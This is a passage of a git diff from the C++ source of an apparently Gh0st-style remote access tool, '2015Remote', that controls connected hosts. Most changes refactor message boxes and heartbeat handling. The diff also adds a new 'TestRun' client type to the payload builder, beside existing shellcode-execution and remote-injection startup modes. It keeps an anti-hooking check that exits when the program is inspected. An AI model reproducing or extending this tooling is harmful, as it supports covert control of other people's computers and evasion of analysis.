ret ? "succeed" : "failed", argc); + for (int i = 0; !ret && i < argc; i++) { + Mprintf(" Arg [%d]: %s\n", i, argv[i]); + } + if (ret) return 0x20251202; + g_ConnectAddress.iStartup = Startup_MEMDLL; + } + status = 0; SetConsoleCtrlHandler(&callback, TRUE); @@ -275,8 +289,9 @@ int main(int argc, const char *argv[]) } do { - BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), - argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); + BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent" + argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), + argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); if (ret == 1) { return -1; } diff --git a/common/commands.h b/common/commands.h index c7711c3..b0259d4 100644 --- a/common/commands.h +++ b/common/commands.h @@ -544,6 +544,7 @@ enum TestRunType { Startup_Shellcode, // Shell code ڵǰִshell code Startup_InjSC, // Զ Shell code עִshell code Startup_GhostMsc, // Windows + Startup_TestRunMsc, // Windows }; inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 2f0ab52..d71dd13 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -19,6 +19,17 @@ #include "ServerServiceWrapper.h" #pragma comment(lib, "Dbghelp.lib") +BOOL ServerPair::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) +{ + UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort); + if (ret1) THIS_APP->MessageBox(CString("启动TCP服务失败: ") + std::to_string(uPort).c_str() + + CString("。错误码: ") + std::to_string(ret1).c_str(), "提示", MB_ICONINFORMATION); + UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort); + if (ret2) THIS_APP->MessageBox(CString("启动UDP服务失败: ") + std::to_string(uPort).c_str() + + CString("。错误码: ") + std::to_string(ret2).c_str(), "提示", MB_ICONINFORMATION); + return (ret1 == 0 || ret2 == 0); +} + CMy2015RemoteApp* GetThisApp() { return ((CMy2015RemoteApp*)AfxGetApp()); @@ -236,8 +247,8 @@ BOOL CMy2015RemoteApp::InitInstance() if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(m_Mutex); m_Mutex = NULL; - MessageBoxA(NULL, "A master program is already running, please check Task Manager.", - "Info", MB_ICONINFORMATION); + MessageBox("一个主控程序已经在运行,请检查任务管理器。", + "提示", MB_ICONINFORMATION); return FALSE; } } diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index ada222e..abcc284 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -35,16 +35,7 @@ public: SAFE_DELETE(m_udpServer); } - BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) - { - UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort); - if (ret1) MessageBox(NULL, CString("启动TCP服务失败: ") + std::to_string(uPort).c_str() - + CString("。错误码: ") + std::to_string(ret1).c_str(), "提示", MB_ICONINFORMATION); - UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort); - if (ret2) MessageBox(NULL, CString("启动UDP服务失败: ") + std::to_string(uPort).c_str() - + CString("。错误码: ") + std::to_string(ret2).c_str(), "提示", MB_ICONINFORMATION); - return (ret1 == 0 || ret2 == 0); - } + BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); void UpdateMaxConnection(int maxConn) { @@ -65,7 +56,7 @@ public: } }; -class CSplashDlg; // 前向声明 +#include "SplashDlg.h" class CMy2015RemoteApp : public CWinApp { @@ -102,6 +93,11 @@ public: return m_iniFile; } + int MessageBox(const CString& strText, const CString& strCaption = NULL, UINT nType = 0) + { + return m_pSplash ? m_pSplash->SafeMessageBox(strText, strCaption, nType) : ::MessageBox(NULL, strText, strCaption, nType); + } + // 启动多个服务端,成功返回0 // nPort示例: 6543;7543 UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 9aec7a6..91204ba 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -489,6 +489,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_SHARE_CLIENT, ShareClient) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) + ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) @@ -813,7 +814,8 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg) LeaveCriticalSection(&m_cs); strStatusMsg.Format("有%d个主机在线",m_iCount); - m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字 + if (m_StatusBar.GetSafeHwnd()) + m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字 } LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) @@ -1176,7 +1178,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); timeBeginPeriod(1); if (IsFunctionReallyHooked("user32.dll","SetTimer") || IsFunctionReallyHooked("user32.dll", "KillTimer")) { - MessageBoxA("FUCK!!! 请勿HOOK此程序!", "提示", MB_ICONERROR); + THIS_APP->MessageBox("FUCK!!! 请勿HOOK此程序!", "提示", MB_ICONERROR); ExitProcess(-1); return FALSE; } @@ -2055,7 +2057,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, con if (!pids.empty()) { pids.back() = '?'; } - if (IDYES == MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()) + + if (IDYES == THIS_APP->MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()) + "\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) { for (const auto& line : lines) { auto cmd = std::string("taskkill /f /pid ") + line; @@ -2064,7 +2066,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, con return Activate(nPort, nMaxConnection, method); } } else - MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str())); + THIS_APP->MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str())); return FALSE; } @@ -2312,7 +2314,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } case TOKEN_HEARTBEAT: case 137: // 心跳【L】 - UpdateActiveWindow(ContextObject); + g_2015RemoteDlg->SendMessage(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject); break; case SOCKET_DLLLOADER: {// 请求DLL【L】 auto len = ContextObject->InDeCompressedBuffer.GetBufferLength(); @@ -2472,7 +2474,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) delete LoginInfor; return S_OK; } catch(...) { - Mprintf("[ERROR] OnUserToOnlineList catch an error \n"); + Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str()); } return -1; } @@ -2510,6 +2512,13 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) return S_OK; } +LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) { + CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam; + UpdateActiveWindow(ctx); + + return S_OK; +} + void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { Heartbeat hb; @@ -2537,6 +2546,11 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) return; } } + for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { + if (ctx->IsEqual(*i)) { + return; + } + } ctx->CancelIO(); Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str()); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index b56656f..8ea575c 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -307,6 +307,7 @@ public: LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all); afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam); afx_msg LRESULT AssignAllClient(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT UpdateUserEvent(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); afx_msg void OnOnlineShare(); diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index d82baef..72892c1 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -19,6 +19,7 @@ enum Index { IndexServerDll, IndexTinyRun, IndexGhostMsc, + IndexTestRunMsc, OTHER_ITEM }; @@ -196,9 +197,15 @@ void CBuildDlg::OnBnClickedOk() case IndexGhostMsc: file = "ghost.exe"; typ = CLIENT_TYPE_ONE; - startup = Startup_GhostMsc, + startup = Startup_GhostMsc; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); break; + case IndexTestRunMsc: + file = "TestRun.exe"; + typ = CLIENT_TYPE_MEMDLL; + startup = Startup_TestRunMsc; + szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); + break; case IndexServerDll: file = "ServerDll.dll"; typ = CLIENT_TYPE_DLL; @@ -381,6 +388,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll"); m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll"); m_ComboExe.InsertString(IndexGhostMsc, "ghost.exe - Windows "); + m_ComboExe.InsertString(IndexTestRunMsc, "TestRun - Windows "); m_ComboExe.InsertString(OTHER_ITEM, CString("ѡļ")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); diff --git a/server/2015Remote/SplashDlg.cpp b/server/2015Remote/SplashDlg.cpp index 6c14542..ffc9989 100644 --- a/server/2015Remote/SplashDlg.cpp +++ b/server/2015Remote/SplashDlg.cpp @@ -25,6 +25,17 @@ CSplashDlg::~CSplashDlg() m_fontStatus.DeleteObject(); } +int CSplashDlg::SafeMessageBox(LPCTSTR lpszText, LPCTSTR lpszCaption, UINT nType) +{ + SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE); + + int result = MessageBox(lpszText, lpszCaption, nType); + + SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE); + + return result; +} + BOOL CSplashDlg::Create(CWnd* pParent) { // 注册窗口类 diff --git a/server/2015Remote/SplashDlg.h b/server/2015Remote/SplashDlg.h index 90ac41a..0a5be57 100644 --- a/server/2015Remote/SplashDlg.h +++ b/server/2015Remote/SplashDlg.h @@ -1,7 +1,5 @@ #pragma once -#include - // 启动画面对话框 - 显示加载进度 class CSplashDlg : public CWnd { @@ -12,6 +10,8 @@ public: // 创建并显示启动画面 BOOL Create(CWnd* pParent = NULL); + int SafeMessageBox(LPCTSTR lpszText, LPCTSTR lpszCaption, UINT nType); + // 更新进度 (0-100) - 通过消息队列(用于跨线程) void SetProgress(int nPercent); diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 3ec5c57..21582d9 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -90,6 +90,7 @@ #define WM_ASSIGN_CLIENT WM_USER+3027 #define WM_ASSIGN_ALLCLIENT WM_USER+3028 #define WM_ANTI_BLACKSCREEN WM_USER+3029 +#define WM_UPDATE_ACTIVEWND WM_USER+3030 #ifdef _UNICODE #if defined _M_IX86